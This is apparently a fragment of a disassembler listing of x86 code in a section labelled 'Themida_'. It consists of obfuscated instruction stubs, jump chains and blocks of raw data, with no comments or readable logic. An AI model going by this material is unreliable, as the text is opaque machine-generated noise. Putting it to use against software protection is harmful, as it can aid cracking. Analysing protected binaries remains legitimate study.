		dd 0AC14E955h, 481FFFFh, 0F0517B24h, 242C8B0Ah,	81595451h
		dd 4C1h, 4C18100h, 87000000h, 815C240Ch, 0F0517BEDh, 0F700E90Ah
		dd 0E1C1FFFFh, 0F846E902h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_553E8E:				; CODE XREF: Themida_:0055265Aj
		mov	[esp], esi
		jmp	loc_543302
; ---------------------------------------------------------------------------
		dw 0A568h
		dd 8900006Dh, 0E9562404h, 0FFFF6F0Ah
; ---------------------------------------------------------------------------

loc_553EA4:				; CODE XREF: Themida_:00550BE4j
		xor	ecx, 25940D40h
		sub	ecx, 253FA4B6h
		push	ebp
		mov	ebp, ecx
		mov	eax, ebp
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 68033F5Ch
		add	ecx, eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0E7B1D8Dh
		sub	edx, 1
		push	eax
		mov	eax, 3E605A7Bh
		or	edx, eax
		mov	eax, [esp]
		jmp	loc_555C77
; ---------------------------------------------------------------------------
		dd 5ACFE681h, 0EEC173C9h, 0D4CE8104h, 81040F06h, 34EA71C6h
		dd 5EF5291Dh, 315DEA01h, 0DD895AD3h, 5DE8295Bh,	5627062Dh
		dd 5D8290Ch, 0C562706h,	8904EC83h, 0E789243Ch, 4C781h
		dd 0EF810000h, 4, 5C243C87h, 0BE243489h, 69D17A99h, 4225CE81h
		dd 0F6810177h, 6CBB5143h, 1223E681h, 0EEC17CBFh, 0DF68105h
		dd 110F64Bh, 24348BF0h,	13E468h, 241C8900h, 0C381E389h
		dd 4, 4BE56h, 0F3010000h, 0FF5CE9E9h, 240489FFh, 6F08CCB8h
		dd 58C20108h, 0FEFA0EE9h, 405FFh, 0C0830000h, 24048704h
		dd 0C1C3805Ch, 8015C380h, 95E9A1C3h, 5FFFFF9h, 4, 5C240487h
		dd 10B05066h, 5866C300h, 52ACEB80h, 0E9CEB050h,	0FFFF9D14h
; ---------------------------------------------------------------------------

loc_553FBC:				; CODE XREF: Themida_:00547810j
		push	1
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5475F2
; ---------------------------------------------------------------------------

loc_553FCA:				; CODE XREF: Themida_:005437CBj
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_553E22
; ---------------------------------------------------------------------------
		db 68h,	0D4h, 35h
		dd 0C890000h, 2414F724h, 81240C8Bh, 4C4h, 0C1814100h, 4F7A42Ah
		dd 0C8BC831h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h
		dd 0FF079FE9h, 240C89FFh, 4B9h,	59CB8900h, 4563C681h, 0C6816D51h
		dd 4F623400h, 0EE81DE01h, 4F623400h, 4563EE81h,	9BE96D51h
		dd 54FFFF60h, 4C18159h,	83000000h, 0C8704C1h, 0EC835C24h
		dd 0C896602h, 3088B124h, 0DA5EE9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55405E:				; CODE XREF: Themida_:00556FDDj
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_54B7AC
; ---------------------------------------------------------------------------
		dd 0F6BB534Fh, 1EAF4F2h, 0F9015BDFh, 4BD555Fh, 1000000h
		dd 2434FFE9h, 57242C8Bh, 0C781E789h, 4,	4BE56h,	0F7010000h
		dd 243C875Eh, 4C4815Ch,	87000000h, 815C240Ch, 4C4h, 2267E900h
		dd 0F1BE0000h, 81374851h, 2808E2E6h, 75BD5508h,	8138163Bh
		dd 0C11274E5h, 0E5C14531h, 0C5814503h, 0FB966E76h, 815DEE01h
		dd 0B29D70EEh, 5EF72922h, 0FFF456E9h, 52E3B1FFh, 0CAFE7EB2h
		dd 800BF280h, 59E9F6C2h, 54FFFF52h, 0A396E95Bh,	489FFFFh
		dd 23B6824h, 1C890000h,	0E9EAB324h, 0FFFF991Fh,	127BB951h
		dd 0ABE90E4Eh, 81FFFF97h, 80D153E9h, 0B74EE9FAh, 0FF51FFFFh
		dd 59042474h, 5C24048Fh, 0B5EB814Bh, 535149C1h,	19B0E95Dh
		dd 0BF570000h, 63102B23h, 4247C01h, 2404815Fh, 96455A2h
		dd 3FDCE9h, 8CC68100h, 29E580F0h, 2434FFF3h, 4C4815Eh
		dd 50000000h, 0FFBD2BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554169:				; CODE XREF: Themida_:0054FABEj
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_547F89
; ---------------------------------------------------------------------------
		dd 0EE71E950h, 0F181FFFFh, 13F01333h, 1DE9CD31h, 81000018h
		dd 4C4h, 74FF5300h, 1C8B0424h, 4C48324h, 0E924048Fh, 0FFFF9805h
		dd 4B9h, 9F3CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5541AA:				; CODE XREF: Themida_:00549753j
		add	esp, 4
		mov	edi, 4E5D4418h
		sub	edi, 20242807h
		jmp	loc_54ED50
; ---------------------------------------------------------------------------
dword_5541C0	dd 0D4E9028Fh		; DATA XREF: Themida_:005430B4o
		db 0F0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5541C7:				; CODE XREF: Themida_:0054C9B2j
		mov	ebx, [esp]
		jmp	loc_549D52
; ---------------------------------------------------------------------------
		db 87h
		dd 248B240Ch, 3758E924h, 0E4C00000h, 36F48005h,	8674EC80h
		dd 86D3F6DCh, 6CCC80DCh, 0ECD0C4FEh, 8875EC80h,	0F8E958E7h
		dd 0B4FFFFB1h, 66E528D0h, 71F58058h, 0E928F580h, 0FFFF80EBh
; ---------------------------------------------------------------------------

loc_55420C:				; CODE XREF: Themida_:0054E0E1j
		mov	edx, 62D03B7Eh
		and	edx, 66705D1Dh
		jmp	loc_54DCAB
; ---------------------------------------------------------------------------
		dd 295AD189h, 815559CDh, 774A2404h, 81590E83h, 83774AE9h
		dd 0F1815D0Eh, 66E51367h, 8707E9C1h, 51E94BD9h,	57FFFF60h
		dd 0FF7F2CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554249:				; CODE XREF: Themida_:00548471j
		push	edi
		mov	edi, 7A3537FCh
		xor	edi, 44125503h
		jmp	loc_54CF6E
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 7BFB1FC7h, 0FEFE22E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554265:				; CODE XREF: Themida_:00548D24j
		pop	esp
		mov	[esp], ebx
		jmp	loc_554826
; ---------------------------------------------------------------------------

loc_55426E:				; CODE XREF: Themida_:00555652j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_544EF4
; ---------------------------------------------------------------------------
byte_554281	db 0ACh, 4, 5Eh		; DATA XREF: Themida_:005430F0o
		dd 0EBA5E952h, 815FFFFFh, 4C7h,	4C78100h, 57000000h, 42474FFh
		dd 24048F5Fh, 4EC835Ch,	83240C89h, 148904ECh, 0EE92E924h
		dd 0ED83FFFFh, 0E5CD81FFh, 5326F364h, 0E17766BBh, 245CE943h
		dd 0F381FFFFh, 6967028Ah, 0FFCFCEE9h, 92C381FFh, 14A0044h
		dd 92EB81F3h, 814A0044h, 0D3674EBh, 2434FF58h, 4C4835Eh
		dd 0FF39DAE9h, 0E9D989FFh, 0FFFF6748h, 5A240C89h, 0FF2434FFh
		dd 0ECE92434h, 33FFFFB9h, 0E95C2404h, 0FFFFB5ABh, 6057CA81h
		dd 0C2812878h, 0EB5E7D95h, 525AD309h, 0A44C91BAh, 1C2E944h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55432A:				; CODE XREF: Themida_:00549FBCj
		add	ebx, edi
		add	ebx, 10093B43h
		add	ebx, 0ABF0AF9h
		push	edx
		mov	edx, 1C71F42h
		jmp	loc_54472F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 2EE9242Ch
		db 2Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55434B:				; CODE XREF: Themida_:005495FEj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		shr	esi, 3
		jmp	loc_5469D8
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 66D82166h, 0F835665Bh, 0C2296604h, 0C2816658h, 8166198Ah
		dd 663F68C7h, 8166D701h, 5A3F68EFh, 67C78166h, 0FD89664Bh
		dd 2C91E9h, 1C8B5400h, 4C48324h, 11B1B951h, 7E93C5Eh
		db 39h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55439F:				; CODE XREF: Themida_:00550E4Fj
		xor	esi, 7B1943F7h
		inc	esi
		inc	esi
		sub	esi, 43EC334Ah
		add	esi, 425D3B4Bh
		or	edx, esi
		jmp	loc_555128
; ---------------------------------------------------------------------------
		dw 36B9h
		dd 89144C0Ah, 0D60159CAh, 8E6C15Ah, 0EEE9D6F7h,	66FFFF3Bh
		dd 1056658h, 0E0C16612h, 0D8F76608h, 2E8C166h, 0E902EC83h
		dd 0FFFFDD9Ch, 33241C31h, 665C241Ch, 53240C8Bh,	0FF4143E9h
		db 0FFh
byte_5543F9	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00543104o
		dd 0E1895159h, 4C181h, 0E9810000h, 4, 8B240C87h, 4892424h
		dd 68E08924h, 6243h, 0FEF073E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554421:				; CODE XREF: Themida_:00551AE7j
		mov	eax, 1E390B58h
		jmp	loc_54B750
; ---------------------------------------------------------------------------
		db 68h
		dd 2D51h, 81242489h, 42404h, 525B0000h,	261668BAh, 9EE9573Bh
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554447:				; CODE XREF: Themida_:00550345j
		add	ebp, 1064D13Bh
		mov	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_550C3C
; ---------------------------------------------------------------------------

loc_554457:				; CODE XREF: Themida_:00550628j
		push	dword ptr [esp+4]
		jmp	loc_543C15
; ---------------------------------------------------------------------------
		dd 1A6F6EB9h, 2E9C14Fh,	4B9B68h, 24048900h, 0FFD4F1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554475:				; CODE XREF: Themida_:00545D1Fj
		mov	edi, 35A42592h
		jmp	loc_54FD2E
; ---------------------------------------------------------------------------

loc_55447F:				; CODE XREF: Themida_:00556809j
		pop	ecx
		jmp	loc_5583AD
; ---------------------------------------------------------------------------

loc_554485:				; CODE XREF: Themida_:0055753Bj
		xor	edi, [esp]
		mov	esp, [esp]
		xor	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_549053
; ---------------------------------------------------------------------------
		db 54h,	8Fh, 4
		dd 5F2E924h, 2BA0000h, 0E9000000h, 0FFFFE764h, 0B7E3E950h
		dd 34FFFFFFh, 22D1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5544BA:				; CODE XREF: Themida_:00550F6Cj
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_545419
; ---------------------------------------------------------------------------

loc_5544C8:				; CODE XREF: Themida_:00555EA7j
		or	edi, 2DE46E10h
		and	edi, 1BCC094Bh
		push	eax
		mov	eax, 379B6736h
		xor	edi, eax
		pop	eax
		inc	edi
		sub	edi, 0E6F21CFDh
		jmp	loc_54C457
; ---------------------------------------------------------------------------
		db 5Fh,	87h, 2Ch
		dd 1C895C24h, 57E38924h, 7B506853h, 0C15B5004h,	0EBC106E3h
		dd 0A4F38105h, 890008F6h, 0F23DE9DFh, 0C483FFFEh, 47CE8002h
		dd 8086EE80h, 0A1E941C6h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55451F:				; CODE XREF: Themida_:0054DE94j
		add	ebp, 61FB286Ch
		add	ebp, edi
		sub	ebp, 61FB286Ch
		sub	ebp, 1EED4D5Bh
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_5491B0
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 34h
		dd 2921ABF5h, 0DE015DEEh, 6744C681h, 0C6817C02h, 644E3E12h
		dd 0A7B8505Bh, 506F3351h, 582414F7h, 0FF2D1AE9h, 24048BFFh
		dd 4C481h, 4050000h, 51000000h,	4B9h, 59C80100h, 31240433h
		dd 4332404h, 24248B24h,	16CA68h, 1C18E900h, 3487FFFFh
		dd 241C8B24h, 0FF6CA7E9h, 15C781FFh, 0C10FBE2Bh, 0F78104EFh
		dd 22D7221Dh, 2110C781h, 0F82924C3h, 0E9243C8Bh, 0FFFF2BB4h
		dd 4D98685Ch, 3DE90000h, 83FFFF08h, 56E904ECh, 68FFFF7Eh
		dd 77A1h, 0B8240489h, 770E3252h, 0FF6749E9h, 14875CFFh
		dd 1F685C24h, 89000031h, 68502414h, 3305h, 51241489h, 2055C0B9h
		dd 2E59BA43h, 3AE96864h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55460F:				; CODE XREF: Themida_:0054F278j
		add	eax, ebx
		add	eax, 7EAC605Eh
		jmp	loc_556DA1
; ---------------------------------------------------------------------------
byte_55461B	db 0ACh			; DATA XREF: Themida_:0054305Co
		dd 5366F904h, 0B75CB151h, 0C6EF80AFh, 0BDE9DFF6h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55462F:				; CODE XREF: Themida_:00548D9Fj
		xchg	ebx, [esp]
		jmp	loc_548BCB
; ---------------------------------------------------------------------------
		db 42h
		dd 3B2BB53h, 16E9AB73h
		db 4Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554643:				; CODE XREF: Themida_:0054A2BFj
		mov	[esp], esi
		jmp	loc_54FA68
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FF9DDAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554651:				; CODE XREF: Themida_:00546350j
		pop	ebx
		sub	ebp, 71495D80h
		jmp	loc_545A0A
; ---------------------------------------------------------------------------
byte_55465D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00543228o
		db '$h╬+',0
		align 2
		dw 3C89h
		dd 34FF5424h, 0A141E924h, 35FFFFh, 0E9001209h, 0FFFF3ACBh
		dd 4EBE5657h, 81584D74h, 7B3D7BE6h, 8E6C172h, 0DAEE8146h
		dd 0E9195FD2h, 0FFFEEC5Fh
; ---------------------------------------------------------------------------

loc_554698:				; CODE XREF: Themida_:0054E477j
		pop	ebp
		jmp	loc_54D19F
; ---------------------------------------------------------------------------

loc_55469E:				; CODE XREF: Themida_:00547EB9j
		mov	esi, edi
		pop	edi
		xchg	edi, esi
		not	edi
		jmp	loc_54390A
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 5204EA83h, 42474FFh, 5002E95Ah, 5A57FFFFh, 3BEE815Fh
		dd 81358D58h, 0C73A5EEh, 0CAC68154h, 5341A344h,	15566BBBh
		dd 0DFE94B33h, 89FFFFCEh, 0EDB951E5h, 81553067h, 787EBEE9h
		dd 8DE98163h, 813C253Fh, 0A57CF0E9h, 6015E97Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5546FE:				; CODE XREF: Themida_:0055805Bj
		add	ecx, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_545948
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24248900h, 4240483h, 6853515Bh, 6B677DEFh, 2EBC15Bh
		dd 748FC381h, 0E3C13A56h, 3CEB8105h, 89A60A81h,	0FFE95BD9h
		dd 5AFFFF8Dh, 4C281h, 0C2810000h, 4, 0FF5409E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554751:				; CODE XREF: Themida_:00547008j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_548C44
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 1000000h, 34335DEEh, 4E1DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554776:				; CODE XREF: Themida_:00557375j
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_54458D
; ---------------------------------------------------------------------------
		db 29h,	0C6h, 58h
		dd 0C681DE01h, 7C112E13h, 0FFD0C6E9h, 12C681FFh, 31CFBCC4h
		dd 24348BF2h, 124CE9h, 240C8900h, 522368h, 1956E900h, 0EC81FFFFh
		dd 4, 89243489h, 9FBE9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5547C6:				; CODE XREF: Themida_:0054EC02j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		mov	ecx, 4D5D7490h
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		shl	esi, 3
		shr	esi, 2
		push	6F1Eh
		mov	[esp], edx
		push	ecx
		jmp	loc_54CCD3
; ---------------------------------------------------------------------------
		db 89h
		dd 381EE9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5547F6:				; CODE XREF: Themida_:005555BBj
		sub	esi, 20B224h
		mov	ecx, esi
		pop	esi
		add	edx, ecx
		push	dword ptr [esp]
		jmp	loc_548F11
; ---------------------------------------------------------------------------

loc_554809:				; CODE XREF: Themida_:0054BD45j
		mov	ebp, 15E3681Ch
		sub	ecx, ebp
		pop	ebp
		jmp	loc_557430
; ---------------------------------------------------------------------------

loc_554816:				; CODE XREF: Themida_:00557318j
		mov	[esp], ecx
		mov	ecx, 1682290Bh
		inc	ecx
		push	edi
		push	esp
		jmp	loc_543E03
; ---------------------------------------------------------------------------

loc_554826:				; CODE XREF: Themida_:00554269j
		mov	bl, 0A5h
		or	al, bl
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	al, 4Eh
		jmp	loc_54FC2B
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 0A8E92424h, 0C100000Ch, 0C78103EFh, 0F17653CCh
		dd 3C8BF901h, 4C48124h,	83000000h, 0C8704E9h, 3C895C24h
		dd 6AE95324h, 8BFFFF8Dh, 1C892424h, 0FB0FE924h,	0C8BFFFFh
		dd 509FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554886:				; CODE XREF: Themida_:00545828j
		mov	cl, 0DFh
		inc	cl
		push	ecx
		not	byte ptr [esp]
		pop	ecx
		dec	cl
		jmp	loc_5579F7
; ---------------------------------------------------------------------------
		dw 4A68h
		dd 8900007Bh, 53572434h, 0FF01E1E9h, 241489FFh,	22C1E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5548AE:				; CODE XREF: Themida_:00554E93j
		add	ecx, 591F2C4Dh
		pop	esi
		sub	ecx, 4
		jmp	loc_543487
; ---------------------------------------------------------------------------
		dd 4BBh, 5BDA0100h, 4C281h, 14870000h, 0E9525C24h, 29DAh
		dd 0DDE93904h
		db 29h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5548DF:				; CODE XREF: Themida_:00544704j
		and	eax, ebp
		mov	ebp, [esp]
		push	2DF6h
		jmp	loc_54D09F
; ---------------------------------------------------------------------------
		dw 2BBh
		dd 29000000h, 5FE95BD8h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5548FB:				; CODE XREF: Themida_:00556A20j
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		jmp	loc_54FAF4
; ---------------------------------------------------------------------------
		dd 0EE81C629h, 1B4B4C68h, 2804C681h, 0E9586B2Bh, 0FFFF2692h
; ---------------------------------------------------------------------------

loc_55491C:				; CODE XREF: Themida_:00555C43j
		mov	ebx, 4
		jmp	loc_550624
; ---------------------------------------------------------------------------
		dw 0F12Dh
		dd 0FF2B0954h, 575D2434h, 5253E789h, 0A01661BAh, 0BD39E958h
		dd 5745FFFFh, 0B04829BFh, 5FFD313Eh, 0ED81DDF7h, 0C97D1791h
		dd 0A4E9EB01h, 52FFFF4Bh, 0C281E289h, 4, 4C281h, 0CEE90000h
		dd 68000011h, 505h, 0B1240C89h,	2CC5h, 590004C8h, 83240C8Bh
		dd 0C33004C4h, 0E9C0B60Fh, 2A7Ch, 89240C89h, 4C181E1h
		dd 81000000h, 4C1h, 74FF5100h, 8F590424h, 248B2404h, 4C58124h
		dd 51000000h, 0FF2093E9h, 0DAB2FFh, 24148BD0h, 6604C483h
		dd 0ACBCE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5549C6:				; CODE XREF: Themida_:005521EEj
		sub	ecx, 217E175Ch
		sub	ecx, 2CD32357h
		mov	ebp, [esp]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		push	eax
		jmp	loc_555A08
; ---------------------------------------------------------------------------

loc_5549E6:				; CODE XREF: Themida_:0054E48Bj
		mov	[esp], ebx
		push	2712h
		mov	[esp], esi
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_54B6BC
; ---------------------------------------------------------------------------
		dd 1E599DBAh, 79CA816Fh, 814B933Dh, 6B57EBC2h, 6C44E93Fh
		dd 0C3B0FFFFh, 0BF2CD204h, 5058C630h, 0B4E99AB0h, 5A00001Ch
		dd 72796853h, 1C8B5E9Dh, 4C48324h, 9C49B951h, 65E9D550h
		dd 29000001h, 3E981D9h,	8B54F719h, 0C481241Ch, 4, 0FF3D5AE9h
		db 0FFh
byte_554A55	db 0FFh, 32h, 0E9h	; DATA XREF: Themida_:0054308Co
		dd 0FFFEE83Fh, 2E4D82BBh, 8A67E921h, 0C483FFFFh, 0A947E904h
		dd 248BFFFFh, 24042924h, 0E821E99Ch, 0F781FFFEh, 7A204804h
		dd 0CE56F781h, 33E9C654h, 5BFFFFFCh, 0E9241C8Bh, 0FFFF1E46h
		dd 4BF57h, 0BD550000h, 58E8236Fh, 8246C29h, 247C015Dh
		dd 24448104h, 0E8236F04h, 685B5F58h, 2409h, 0FFAEE9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554ABD:				; CODE XREF: Themida_:0054E5A7j
		pop	dword ptr [esp]
		xor	edx, esi
		xor	esi, edx
		jmp	loc_54B618
; ---------------------------------------------------------------------------

loc_554AC9:				; CODE XREF: Themida_:00555A43j
		mov	esi, 0
		add	esi, 0F4F01EAh
		sub	esi, edx
		jmp	loc_54D5F6
; ---------------------------------------------------------------------------
		db 83h
		dd 895604C4h, 4C681E6h,	51000000h, 0E79E950h, 248BFFFFh
		dd 242CD224h, 0E7A1E99Ch, 0E956FFFEh, 0FFFFE1ACh, 33E9F000h
		dd 68FFFF5Ch, 6955h, 0FFC90EE9h, 0E9D000FFh, 3423h
dword_554B18	dd 240C8B66h, 4EC81h, 3C890000h, 68E78924h, 43D8h, 0FF474BE9h
					; DATA XREF: Themida_:005430F4o
		dd 0DAE381FFh, 553A6063h, 0B63006BDh, 99F5813Ch, 29CB3B32h
		dd 0E2E95DEBh
		db 38h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554B4B:				; CODE XREF: Themida_:00554F46j
		add	esi, edi
		pop	edi
		jmp	loc_546BE2
; ---------------------------------------------------------------------------
		db 81h
		dd 797C30C3h, 0EBC3810Eh, 151AC1Eh, 0EBEB81CBh,	8151AC1Eh
		dd 797C30EBh, 0C383590Eh, 0CDC1E904h, 5053FFFFh, 98176FB8h
		dd 0E9974865h, 0FFFF31E9h
; ---------------------------------------------------------------------------

loc_554B84:				; CODE XREF: Themida_:0054C72Fj
		mov	[esp], edi
		mov	edi, 230015E3h
		add	edx, edi
		jmp	loc_557ED6
; ---------------------------------------------------------------------------

loc_554B93:				; CODE XREF: Themida_:00548E20j
		add	edx, 0B5E5C84h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54BF26
; ---------------------------------------------------------------------------
		dd 0B9E9CB01h, 0F7FFFF32h, 34FF2414h, 0E9515D24h, 0FFFF9990h
		dd 5FF9015Dh, 659F68h, 24048900h, 2B8h,	0E9C10100h, 0FFFF0159h
		dd 24048966h, 0FEE6C2E9h, 4B9FFh, 0CB010000h, 4C38159h
		dd 0E9000000h, 0FFFF6CF1h, 4EC81h, 4890000h, 445A6824h
		dd 34890000h, 0E81FE924h, 4BAFFFFh, 0E9000000h,	0FFFF3E35h
		dd 8E9E189h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554C13:				; CODE XREF: Themida_:00550965j
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_54BB27
; ---------------------------------------------------------------------------

loc_554C24:				; CODE XREF: Themida_:0054D52Cj
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54D677
; ---------------------------------------------------------------------------
		db 54h,	59h, 81h
		dd 4C1h, 5BBE5600h, 0C11AAB39h,	0EC8302E6h, 243C8904h
		dd 0FFE290E9h, 8BF101FFh, 0C4832434h, 240C8704h, 0E924248Bh
		dd 0FFFF55EEh, 4B850h, 0C2010000h, 1083E9h
		db 0
; ---------------------------------------------------------------------------

loc_554C69:				; CODE XREF: Themida_:0054D309j
		sub	ebp, ecx
		add	ebp, 2FC66DAEh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 21B43BBEh
		jmp	loc_54CB3D
; ---------------------------------------------------------------------------
		db 2Ch,	90h, 51h
		dd 0E98036B1h, 0BBC18020h, 0CB885366h, 0CCE9D3F6h, 87FFFF0Eh
		dd 1E9241Ch, 89FFFF59h,	1BE9241Ch
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554CA7:				; CODE XREF: Themida_:0054BA99j
		mov	edx, ebx
		pop	ebx
		sub	esi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	eax
		mov	eax, 1
		jmp	loc_556AF7
; ---------------------------------------------------------------------------
		db 29h,	7Ch, 24h
		dd 4EB85008h, 17EBF75h,	580C2444h, 0D99BD55h, 6C015C7Ah
		dd 5F5D0C24h, 4244481h,	66762E30h, 4244481h, 5CD56A3Ah
		dd 0FFA237E9h, 55E95CFFh, 31FFFFE5h, 34332434h,	24248B24h
		dd 8904EC83h, 5D54242Ch, 32E5BF57h, 0B8503BA5h,	324D6102h
		dd 0E958C709h, 0FFFF4550h, 0FFD9895Ah, 9CE92434h, 5FFFF40h
		dd 5D9A5D81h, 0E41C4105h, 6D2B6860h, 0C890000h,	497BB924h
		dd 0E1C138FCh, 6F18106h, 135565Fh, 545559C8h, 0B7EDE95Dh
		dd 0C280FFFFh, 8C15E921h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554D5A:				; CODE XREF: Themida_:00555A0Aj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		jmp	loc_550B24
; ---------------------------------------------------------------------------

loc_554D76:				; CODE XREF: Themida_:0054329Fj
		mov	[esp], ecx
		mov	ch, 79h
		push	ebx
		mov	bl, 9Eh
		add	bl, 44h
		xor	bl, 1Ah
		jmp	loc_544C74
; ---------------------------------------------------------------------------

loc_554D89:				; CODE XREF: Themida_:00551171j
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54F164
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 52240C89h, 8850DE88h, 1C64E9F4h, 8F59FFFFh, 248B2404h
		dd 4175E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554DB6:				; CODE XREF: Themida_:0054C1FAj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esi, 4
		push	2D4Ah
		mov	[esp], ecx
		push	7A5Eh
		mov	[esp], eax
		mov	eax, 1BE948F1h
		mov	ecx, 1BE948F5h
		xor	ecx, eax
		mov	eax, [esp]
		push	39F6h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_54C36A
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 0E924248Bh, 0FFFEF2D5h, 8904EC83h, 0E0892404h, 405h
		dd 4E88300h, 0E9240487h, 0FFFFBA57h, 68241C89h,	44D361C2h
		dd 0FF993EE9h
		db 0FFh
byte_554E21	db 66h,	8Bh, 4		; DATA XREF: Themida_:00542FBCo
		dd 33CDE924h, 0BB53FFFFh, 0F9C4143Ah, 0B3E9D929h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554E37:				; CODE XREF: Themida_:0054C6BFj
		add	esp, 4
		push	6ADAh
		jmp	loc_54D346
; ---------------------------------------------------------------------------
		db 29h
		dd 3575E9FEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554E4E:				; CODE XREF: Themida_:00546C0Cj
		mov	bl, 0D9h
		sub	dl, bl
		pop	bx
		jmp	loc_543388
; ---------------------------------------------------------------------------
		db 0BEh, 0AAh, 43h
		dd 0B7E90CBFh, 68FFFF15h, 60E3h, 68241C89h, 33BCh, 68241489h
		dd 3AD3h, 68240489h, 24B60944h,	0FFC8F0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554E85:				; CODE XREF: Themida_:005439A9j
		sub	esi, 0F8EADBFEh
		sub	ecx, 591F2C4Dh
		add	ecx, esi
		jmp	loc_5548AE
; ---------------------------------------------------------------------------
		dd 2FEB850h, 0C5896B46h, 5DE80158h, 8904EC83h, 5268240Ch
		dd 89000014h, 9DBD242Ch, 0E909BF56h, 0FFFFFF40h, 72E1E953h
		dd 895AFFFFh, 1D8E9E9h,	1C89FFFFh, 0DF2DE924h, 8143FFFFh
		dd 0E108ACEBh, 0E9D3F71Ch, 0FFFFE7B8h, 10E36855h, 0D5E9750Ch
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_554EEB:				; CODE XREF: Themida_:00547B8Bj
		sub	ecx, 1
		xchg	esi, ecx
